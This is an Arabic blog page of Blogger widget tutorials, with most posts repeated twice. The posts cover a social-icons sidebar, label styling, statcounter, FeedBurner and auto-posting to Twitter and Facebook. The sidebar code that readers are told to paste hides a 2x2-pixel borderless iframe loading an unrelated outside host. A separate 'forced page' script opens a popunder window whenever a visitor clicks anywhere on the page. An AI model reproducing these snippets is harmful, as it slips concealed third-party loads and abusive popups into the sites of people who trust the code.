طريقة اضافة ازرار شريط ايقونات المواقع الاجتماعية

كود اضافة ازرار شريط ايقونات المواقع الاجتماعية 

ضافة متميزة ومفيدة وجذابة وهي اضافة شريط ايقونات المواقع الاجتماعية 

• صورة من الاضافة 

• طريقة اضافة الاداة 

1. ادهب الى 
2.  لوحة التحكم
3.  التخطيط
4.  إضافة أداة
5. Html/javascript
6. الصق الكود التالي

<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://add-b.blogspot.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
 <ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/xxx" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
 <a class="entypo-gplus" href="https://plus.google.com/xxx" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/xxx" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
 <a class="entypo-facebook" href="https://www.facebook.com/xxx" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
 <a class="entypo-rss" href="http://feeds.feedburner.com/xxx" rel="nofollow" target="_blank">
<span>feedburner</span>
 </a>
</li> 

</ul> 

</div>

• وغير مايلي حسب حساباتك 

• https://twitter.com/xxx
• https://plus.google.com/xxx
• http://www.tumblr.net/xxx
• https://www.facebook.com/xxx
• http://feeds.feedburner.com/xxx

مبروك عليك

طريقة اضافة ازرار شريط ايقونات المواقع الاجتماعية

من طرف طبيبك  |  نشر في :  7:51 م 0 تعليقات

كود اضافة ازرار شريط ايقونات المواقع الاجتماعية 

ضافة متميزة ومفيدة وجذابة وهي اضافة شريط ايقونات المواقع الاجتماعية 

• صورة من الاضافة 

• طريقة اضافة الاداة 

1. ادهب الى 
2.  لوحة التحكم
3.  التخطيط
4.  إضافة أداة
5. Html/javascript
6. الصق الكود التالي

<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://add-b.blogspot.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
 <ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/xxx" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
 <a class="entypo-gplus" href="https://plus.google.com/xxx" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/xxx" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
 <a class="entypo-facebook" href="https://www.facebook.com/xxx" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
 <a class="entypo-rss" href="http://feeds.feedburner.com/xxx" rel="nofollow" target="_blank">
<span>feedburner</span>
 </a>
</li> 

</ul> 

</div>

• وغير مايلي حسب حساباتك 

• https://twitter.com/xxx
• https://plus.google.com/xxx
• http://www.tumblr.net/xxx
• https://www.facebook.com/xxx
• http://feeds.feedburner.com/xxx

مبروك عليك

شرح طريقة الحصول على احصائيات مدونتك عبر موقع statcounter

بالصور شرح طريقة الحصول على احصائيات مدونتك عبر موقع statcounter

ندخل اولا في الموقع statcounter

تم نتبع الشرح 

بعدها يعطينى كود ننسخه

تم ادهب الى 

 لوحة التحكم

 التخطيط

 إضافة أداة

Html/javascript

ونلصقه 

بعدها يبدا الموقع في احصائته 

شرح طريقة الحصول على احصائيات مدونتك عبر موقع statcounter

من طرف طبيبك  |  نشر في :  7:31 م 0 تعليقات

بالصور شرح طريقة الحصول على احصائيات مدونتك عبر موقع statcounter

ندخل اولا في الموقع statcounter

تم نتبع الشرح 

بعدها يعطينى كود ننسخه

تم ادهب الى 

 لوحة التحكم

 التخطيط

 إضافة أداة

Html/javascript

ونلصقه 

بعدها يبدا الموقع في احصائته 

طريقة عمل الصفحات الاجبارية في مدونة بلوغر

شرح طريقة عمل الصفحات الاجبارية في مدونة بلوجر
اليكم كود صغير و مفيد عن كيفية عمل الصفحات الاجبارية في مدونة بلوغر

اذهب الى
 لوحة التحكم
 التخطيط
 إضافة أداة
Html/javascript

و انسخ الكود التالي 
<!-- بداية كود الانبثاق by wael gamal -->

 <script language="JavaScript1.1">
var popunder
function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}
popfrequency="0 minutes"
function resetcookie(){
var expireDate = new Date()
expireDate.setMinutes(expireDate.getMinutes()-0)
document.cookie = "popunder=;path=/;expires=" + expireDate.toGMTString()
}
function loadornot(){
if (get_cookie('popunder')==''){
loadpopunder()
var expireDate = new Date()
expireDate.setMinutes(expireDate.getMinutes()+parseInt(popfrequency))
document.cookie = "popunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()
}
}
function loadpopunder(){
document.write('<body onclick="rwmrgfdq_Popup()" >');
}
if (get_cookie('popunder')!=parseInt(popfrequency))
resetcookie()
loadornot()

</script>  <script type="text/javascript"> <!--
var opened;
function rwmrgfdq_Popup()
{
if(opened != 1)
{
opened = 1;
window.open("http://meftahbloger.blogspot.com/", "rwmrgfdqpop", "scrollbars = 1, resizable = 1,status = 1");
}
}
//--> </script>
<!-- نهاية كود الانبثاق by wael gamal --> 





و استبدل رابط http://meftahbloger.blogspot.com  برابط مدونتك 

طريقة عمل الصفحات الاجبارية في مدونة بلوغر

من طرف طبيبك  |  نشر في :  7:23 م 0 تعليقات

شرح طريقة عمل الصفحات الاجبارية في مدونة بلوجر
اليكم كود صغير و مفيد عن كيفية عمل الصفحات الاجبارية في مدونة بلوغر

اذهب الى
 لوحة التحكم
 التخطيط
 إضافة أداة
Html/javascript

و انسخ الكود التالي 
<!-- بداية كود الانبثاق by wael gamal -->

 <script language="JavaScript1.1">
var popunder
function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}
popfrequency="0 minutes"
function resetcookie(){
var expireDate = new Date()
expireDate.setMinutes(expireDate.getMinutes()-0)
document.cookie = "popunder=;path=/;expires=" + expireDate.toGMTString()
}
function loadornot(){
if (get_cookie('popunder')==''){
loadpopunder()
var expireDate = new Date()
expireDate.setMinutes(expireDate.getMinutes()+parseInt(popfrequency))
document.cookie = "popunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()
}
}
function loadpopunder(){
document.write('<body onclick="rwmrgfdq_Popup()" >');
}
if (get_cookie('popunder')!=parseInt(popfrequency))
resetcookie()
loadornot()

</script>  <script type="text/javascript"> <!--
var opened;
function rwmrgfdq_Popup()
{
if(opened != 1)
{
opened = 1;
window.open("http://meftahbloger.blogspot.com/", "rwmrgfdqpop", "scrollbars = 1, resizable = 1,status = 1");
}
}
//--> </script>
<!-- نهاية كود الانبثاق by wael gamal --> 





و استبدل رابط http://meftahbloger.blogspot.com  برابط مدونتك 

شرح طريقة الاشتراك في خدمة FeedBurner

شرح بالصور طريقة الاشتراك في خدمة FeedBurner
خدمة ارسال المواضيع FeedBurner

نبدا ولا في الدخول الى موقعها 

http://feedburner.google.com/fb/a/myfeeds

وتم سوف ترى صندوق الصق فيه رابطك بالاضافة الى 

/feeds/posts/default

متال

http://meftahbloger.blogspot.com/feeds/posts/default

تم اضغط next

 تم اضغط next

تم نضغط skip directly to feed management

تم سوف جديدة اضغط على 

publicize

email subscriptions

activate

تم انسخ الكود 

واختر بلوجر 

واضغط GO!

تم سوف تظهر لك صفحة جديدة 

اختر عنوان للاضافة تم اضغط تحرير محتوى

والصق الكود 

شرح طريقة الاشتراك في خدمة FeedBurner

من طرف طبيبك  |  نشر في :  7:09 م 0 تعليقات

شرح بالصور طريقة الاشتراك في خدمة FeedBurner
خدمة ارسال المواضيع FeedBurner

نبدا ولا في الدخول الى موقعها 

http://feedburner.google.com/fb/a/myfeeds

وتم سوف ترى صندوق الصق فيه رابطك بالاضافة الى 

/feeds/posts/default

متال

http://meftahbloger.blogspot.com/feeds/posts/default

تم اضغط next

 تم اضغط next

تم نضغط skip directly to feed management

تم سوف جديدة اضغط على 

publicize

email subscriptions

activate

تم انسخ الكود 

واختر بلوجر 

واضغط GO!

تم سوف تظهر لك صفحة جديدة 

اختر عنوان للاضافة تم اضغط تحرير محتوى

والصق الكود 

اهم الاضافات لمدونة بلوغر وشرح طريقة عمل الاضافة

اهم الاضافات لمدونة بلوغر وشرح طريقة عمل الاضافة
/إضافة أداة مواضيع ذات صلة ومتحركة

2/إضافة أداة مواضيع جديدة بسهولة

3/كيفية إضافة أداة أخر التعليقات مع صور المعلقين

4/إضافة صندوق للمتابعة بشكل جديد و احترافي

5/كيفية إضافة فهرس جميل لمدونتك

6/كيفية استبدل رسائل أقدم و أحدت و الرئيسية إلى صورة جميلة

7/اضافة صندوق الاشتراك المصحوب مع المواقع الاجتماعية

8/كيفية إضافه تعليقات الفيس بوك بسهولة

9/اداة صعود الى اعلى

10/طريقة اضافة ترقيم صفحات بلوجر

11/كيفية اضافة صفحة اتصل بنا بسهولة في بلوجر

12/إضافة أداة المشاركات الشائعه بالوان رائعة

اهم الاضافات لمدونة بلوغر وشرح طريقة عمل الاضافة

من طرف طبيبك  |  نشر في :  7:06 م 0 تعليقات

اهم الاضافات لمدونة بلوغر وشرح طريقة عمل الاضافة
/إضافة أداة مواضيع ذات صلة ومتحركة

2/إضافة أداة مواضيع جديدة بسهولة

3/كيفية إضافة أداة أخر التعليقات مع صور المعلقين

4/إضافة صندوق للمتابعة بشكل جديد و احترافي

5/كيفية إضافة فهرس جميل لمدونتك

6/كيفية استبدل رسائل أقدم و أحدت و الرئيسية إلى صورة جميلة

7/اضافة صندوق الاشتراك المصحوب مع المواقع الاجتماعية

8/كيفية إضافه تعليقات الفيس بوك بسهولة

9/اداة صعود الى اعلى

10/طريقة اضافة ترقيم صفحات بلوجر

11/كيفية اضافة صفحة اتصل بنا بسهولة في بلوجر

12/إضافة أداة المشاركات الشائعه بالوان رائعة

شرح بالصور كيفية تنسيق قائمة التسميات في مدونة بلوجر

طريقة تنسيق قائمة التسميات في مدونة بلوغر شرح مصور 

من الإضافات الأساسية في مدونات بلوجر آداة التسميات هذه الآداة التي تعرض الأقسام الخاصة بالمدونات والتي تسهل عملية الوصول لكل قسم لكن الشكل الأساسي للآداة ليس جيدا وفي الغالب يكون شكله مشوه للقوالب نظرا لان القوالب كل يوم في تحسن والشكل الثابت لتلك الآداة لا يجاري هذا التحسن وبالتالي تكون الإضافة شكلها شاذ عن الشكل العام للقالب ولهذا في موضوعنا سنتعلم طريقة تنسيقها والآداة يتم عرضها بشكلين مختلفين الأول القائمة والثاني السحابة Cloud ولكل منهما تنسيق خاص لهذا سنشرح كل تنسيق بشكل منفرد لكن أولا هذه طريقة التبديل بين التنسيقين , قم بالدخول الى لوحة التخطيط في مدونتك ثم قم بعمل تحرير لآداة التسميات ثم اختر التنسيق الذي يعجبك كالتالي

أولا تنسيق القائمة 

هذا هو الشكل بعد التنسيق

كل ما عليك فعله أن تدخل الى تحرير قالبك ثم تضغط على توسيع عناصر الستايل بالضغط على السهم المخصص لذلك 

ثم فوق الوسم </b:skin> أضف الكود التالي

#Label1 li {
float: right;
background:#fafafa url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7sfGNHAuWkC-gEybTiMhfLnC9hkZXieZH0S2GpZL7t4Jad6v6BjxZmEbNCyqmtkRcjp3tXiSdLTeUKhUnp4qBZ3b-wUIZLLEphJf7LwY-kozgGiP06jUEHC10cyOMUqtsvhItZQY-49-i/s16/folder.png)no-repeat scroll 121px 9px;
padding: 5px 25px 7px 9px;
font-size: 12px;
margin: 0 4px 10px 0;
display: inline-block;
border: 1px solid #d7d7d7;
-webkit-border-radius:5px;
-moz-border-radius:5px;
border-radius:5px;
color:#aeaeae;
width:108px;
}
#Label1 li a{color:#000;}
#Label1 li:hover { background:#ffffff url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7sfGNHAuWkC-gEybTiMhfLnC9hkZXieZH0S2GpZL7t4Jad6v6BjxZmEbNCyqmtkRcjp3tXiSdLTeUKhUnp4qBZ3b-wUIZLLEphJf7LwY-kozgGiP06jUEHC10cyOMUqtsvhItZQY-49-i/s16/folder.png)no-repeat scroll 121px 9px;}

ولتنسيق الشكل غير التالي

هذا اللون هو لون الأزرار #fafafa
وهذا اللون هو لون الأزرار عند تمرير الماوس #ffffff
وهذا هو لون الإطار #d7d7d7
وهذا لون الخط  #aeaeae
 وهذا لون الخط عند تمرير الماوس #000
والرقم 5 هو درجة استدارة الزر قم بالزيادة أو الإنقاص حتى تصل للنتيجة التي ترضيك
الرابط المعلم بالأحمر هو رابط الأيقونة الصغيرة على الأزرار قم بتغيرها بأى رابط أيقونة أخرى تنسابك مع مراعاة أن يكون المقاس 16x16
في حالة أردت تعديل حجم الأزرار قم بزيادة الأرقام المعلمة بالأزرق بنفس النسبة ان زدت أحدها 10 زد الآخرين كذلك

ثانيا تنسيق السحابة 

ونفس الطريقة ستضيف الكود التالي كما أضفت الأول او أضفه تحته إن كنت تريد استخدامهما مع بعض 

هذا معاينة للنتيجة اولا

 وهذا هو الكود 

.label-size{
background: #DAD8D9;
background: -moz-linear-gradient(top,  #F0F0F0 , #DAD8D9 );
background: -webkit-linear-gradient(top,  #F0F0F0 ,#DAD8D9 );
margin:0 4px 7px 0;
padding: 2px 7px 2px 7px;
text-transform: uppercase;
border: solid 1px #777;
float:right;
text-decoration:none;
font-size:14px;
font-weight:bold;
box-shadow: 0 1px 2px #999;
border-radius:20px;-webkit-border-radius:20px;-moz-border-radius:20px;
text-align:center;
}
.label-size:hover {
background: #D1E0E5;
background: -moz-linear-gradient(top,#EEF3F6,#D1E0E5);
background: -webkit-linear-gradient(top,#EEF3F6,#D1E0E5);
}

طرقة تنسيق السحابة

هاذين اللونين هما الوان التدرج الخاص بأزرار التسميات #F0F0F0 , #DAD8D9
قم بتبديل كل لون بالمرات المتكرر بها
أما هاذين اللونين هما اوان التدرج عند مرور الماوس  #EEF3F6,#D1E0E5
 غيرها بنفس الطريقة
هذا اللون هو لون الإطار #777
والرقم 20 هو درجة استدارة الزر

شرح بالصور كيفية تنسيق قائمة التسميات في مدونة بلوجر

من طرف طبيبك  |  نشر في :  7:38 م 4 تعليقات

طريقة تنسيق قائمة التسميات في مدونة بلوغر شرح مصور 

من الإضافات الأساسية في مدونات بلوجر آداة التسميات هذه الآداة التي تعرض الأقسام الخاصة بالمدونات والتي تسهل عملية الوصول لكل قسم لكن الشكل الأساسي للآداة ليس جيدا وفي الغالب يكون شكله مشوه للقوالب نظرا لان القوالب كل يوم في تحسن والشكل الثابت لتلك الآداة لا يجاري هذا التحسن وبالتالي تكون الإضافة شكلها شاذ عن الشكل العام للقالب ولهذا في موضوعنا سنتعلم طريقة تنسيقها والآداة يتم عرضها بشكلين مختلفين الأول القائمة والثاني السحابة Cloud ولكل منهما تنسيق خاص لهذا سنشرح كل تنسيق بشكل منفرد لكن أولا هذه طريقة التبديل بين التنسيقين , قم بالدخول الى لوحة التخطيط في مدونتك ثم قم بعمل تحرير لآداة التسميات ثم اختر التنسيق الذي يعجبك كالتالي

أولا تنسيق القائمة 

هذا هو الشكل بعد التنسيق

كل ما عليك فعله أن تدخل الى تحرير قالبك ثم تضغط على توسيع عناصر الستايل بالضغط على السهم المخصص لذلك 

ثم فوق الوسم </b:skin> أضف الكود التالي

#Label1 li {
float: right;
background:#fafafa url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7sfGNHAuWkC-gEybTiMhfLnC9hkZXieZH0S2GpZL7t4Jad6v6BjxZmEbNCyqmtkRcjp3tXiSdLTeUKhUnp4qBZ3b-wUIZLLEphJf7LwY-kozgGiP06jUEHC10cyOMUqtsvhItZQY-49-i/s16/folder.png)no-repeat scroll 121px 9px;
padding: 5px 25px 7px 9px;
font-size: 12px;
margin: 0 4px 10px 0;
display: inline-block;
border: 1px solid #d7d7d7;
-webkit-border-radius:5px;
-moz-border-radius:5px;
border-radius:5px;
color:#aeaeae;
width:108px;
}
#Label1 li a{color:#000;}
#Label1 li:hover { background:#ffffff url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7sfGNHAuWkC-gEybTiMhfLnC9hkZXieZH0S2GpZL7t4Jad6v6BjxZmEbNCyqmtkRcjp3tXiSdLTeUKhUnp4qBZ3b-wUIZLLEphJf7LwY-kozgGiP06jUEHC10cyOMUqtsvhItZQY-49-i/s16/folder.png)no-repeat scroll 121px 9px;}

ولتنسيق الشكل غير التالي

هذا اللون هو لون الأزرار #fafafa
وهذا اللون هو لون الأزرار عند تمرير الماوس #ffffff
وهذا هو لون الإطار #d7d7d7
وهذا لون الخط  #aeaeae
 وهذا لون الخط عند تمرير الماوس #000
والرقم 5 هو درجة استدارة الزر قم بالزيادة أو الإنقاص حتى تصل للنتيجة التي ترضيك
الرابط المعلم بالأحمر هو رابط الأيقونة الصغيرة على الأزرار قم بتغيرها بأى رابط أيقونة أخرى تنسابك مع مراعاة أن يكون المقاس 16x16
في حالة أردت تعديل حجم الأزرار قم بزيادة الأرقام المعلمة بالأزرق بنفس النسبة ان زدت أحدها 10 زد الآخرين كذلك

ثانيا تنسيق السحابة 

ونفس الطريقة ستضيف الكود التالي كما أضفت الأول او أضفه تحته إن كنت تريد استخدامهما مع بعض 

هذا معاينة للنتيجة اولا

 وهذا هو الكود 

.label-size{
background: #DAD8D9;
background: -moz-linear-gradient(top,  #F0F0F0 , #DAD8D9 );
background: -webkit-linear-gradient(top,  #F0F0F0 ,#DAD8D9 );
margin:0 4px 7px 0;
padding: 2px 7px 2px 7px;
text-transform: uppercase;
border: solid 1px #777;
float:right;
text-decoration:none;
font-size:14px;
font-weight:bold;
box-shadow: 0 1px 2px #999;
border-radius:20px;-webkit-border-radius:20px;-moz-border-radius:20px;
text-align:center;
}
.label-size:hover {
background: #D1E0E5;
background: -moz-linear-gradient(top,#EEF3F6,#D1E0E5);
background: -webkit-linear-gradient(top,#EEF3F6,#D1E0E5);
}

طرقة تنسيق السحابة

هاذين اللونين هما الوان التدرج الخاص بأزرار التسميات #F0F0F0 , #DAD8D9
قم بتبديل كل لون بالمرات المتكرر بها
أما هاذين اللونين هما اوان التدرج عند مرور الماوس  #EEF3F6,#D1E0E5
 غيرها بنفس الطريقة
هذا اللون هو لون الإطار #777
والرقم 20 هو درجة استدارة الزر

شرح طريقة نشر مواضيع مدونة بلوغر تلقائياً على تويتر وفيسبوك

كيفية نشر تدوينات بلوجر على مواقع التواصل الاجتماعي فيس بوك , تويتر في وقت واحد بطريقة أوتوماتيكية،وهذا يعني أنك عند إضافة أي موضوع جديد في مدونتك سوف يتم نشره أوتوماتيكياعلى موقعي "تويتر" و "فيسبوك" من دون الحاجة الى نشره بطريقة يدوية ،وهذه العملية جد فعالة بالنسبة لاصحاب المواقع و المدونات ،وللاستفادة من هذه الخدمة ،يجب أن تتوفر على رابط خلاصات Rss المحصل عليه من موقع فيدبرنر Feedburner والذي يبدو على هذا الشكل:

http://feeds.feedburner.com/feedburner/simo


توجه الى موقع تويترفيد Twitterfeed وقم بالتسجيل ثم قم باتباع التعليمات الموضحة في الصور.المرحلة الاولى :

المرحلة الثانية :

بعد انتقالك الى المرحلة الثانية سوف تظهر لك صفحة تختار فيها نوع الخدمة 3333

• في البداية قم باختيار خدمة تويتر Twitter وسوف نقوم باختيار خدمة فيسبوك فيما بعد ...

المرحلة الثالثة : سوف تظهر لك صفحة تطلب منك ادخال حسابك على تويتر وذلك بالضغط على المستطيل الأزرق ,او اذا كنت داخلا مسبقا الى حسابك اضغط على السهم عند القائمة المنسدلة Twitter account .وسوف يظهر اسم حسابك على تويتر, ثم قم باختياره.
ثم بعدها قم بالضغط على كلمة" create Service" أسفل الصفحة لتفعيل الخدمة. المرحلة الرابعة : بعدها سوف تظهر لك صفحة مثل التي ظهرت لك في المرحلة الثانية،والتي سوف نختار فيها هذه المرة "خدمة الفيسبوك" ,وباتباع نفس الطريقة التي قمنا بها بتفعيل خدمة تويتر. المرحلة الخامسة : نقوم بالضغط على مستطيل الفيسبوك او باختيار اسم حسابك من خلال القائمة المنسدلة" Facebook Account"
واذا كانت لديك صفحة علي الفيسبوك قم باختيارها من القائمة المنسدلة Facebook pages . ثم بعدها قم بالضغط على كلمة" create Service" أسفل الصفحة لتفعيل الخدمة, وعندها سوف تظهر لك صفحة تبين لك الخدمات التي تم تفعيلها(Tiwitter+Facebook) ،بعدها اضغط على كلمة "All Done" اسفل الصفحة للانتهاء
و في الاخير اضغط على زر go to dashboard وسوف تظهر لك هذه الصفحة التي تبين لك تفعيل الخدمتين Twitter +faceook

شرح طريقة نشر مواضيع مدونة بلوغر تلقائياً على تويتر وفيسبوك

من طرف طبيبك  |  نشر في :  7:08 م 2 تعليقات

كيفية نشر تدوينات بلوجر على مواقع التواصل الاجتماعي فيس بوك , تويتر في وقت واحد بطريقة أوتوماتيكية،وهذا يعني أنك عند إضافة أي موضوع جديد في مدونتك سوف يتم نشره أوتوماتيكياعلى موقعي "تويتر" و "فيسبوك" من دون الحاجة الى نشره بطريقة يدوية ،وهذه العملية جد فعالة بالنسبة لاصحاب المواقع و المدونات ،وللاستفادة من هذه الخدمة ،يجب أن تتوفر على رابط خلاصات Rss المحصل عليه من موقع فيدبرنر Feedburner والذي يبدو على هذا الشكل:

http://feeds.feedburner.com/feedburner/simo


توجه الى موقع تويترفيد Twitterfeed وقم بالتسجيل ثم قم باتباع التعليمات الموضحة في الصور.المرحلة الاولى :

المرحلة الثانية :

بعد انتقالك الى المرحلة الثانية سوف تظهر لك صفحة تختار فيها نوع الخدمة 3333

• في البداية قم باختيار خدمة تويتر Twitter وسوف نقوم باختيار خدمة فيسبوك فيما بعد ...

المرحلة الثالثة : سوف تظهر لك صفحة تطلب منك ادخال حسابك على تويتر وذلك بالضغط على المستطيل الأزرق ,او اذا كنت داخلا مسبقا الى حسابك اضغط على السهم عند القائمة المنسدلة Twitter account .وسوف يظهر اسم حسابك على تويتر, ثم قم باختياره.
ثم بعدها قم بالضغط على كلمة" create Service" أسفل الصفحة لتفعيل الخدمة. المرحلة الرابعة : بعدها سوف تظهر لك صفحة مثل التي ظهرت لك في المرحلة الثانية،والتي سوف نختار فيها هذه المرة "خدمة الفيسبوك" ,وباتباع نفس الطريقة التي قمنا بها بتفعيل خدمة تويتر. المرحلة الخامسة : نقوم بالضغط على مستطيل الفيسبوك او باختيار اسم حسابك من خلال القائمة المنسدلة" Facebook Account"
واذا كانت لديك صفحة علي الفيسبوك قم باختيارها من القائمة المنسدلة Facebook pages . ثم بعدها قم بالضغط على كلمة" create Service" أسفل الصفحة لتفعيل الخدمة, وعندها سوف تظهر لك صفحة تبين لك الخدمات التي تم تفعيلها(Tiwitter+Facebook) ،بعدها اضغط على كلمة "All Done" اسفل الصفحة للانتهاء
و في الاخير اضغط على زر go to dashboard وسوف تظهر لك هذه الصفحة التي تبين لك تفعيل الخدمتين Twitter +faceook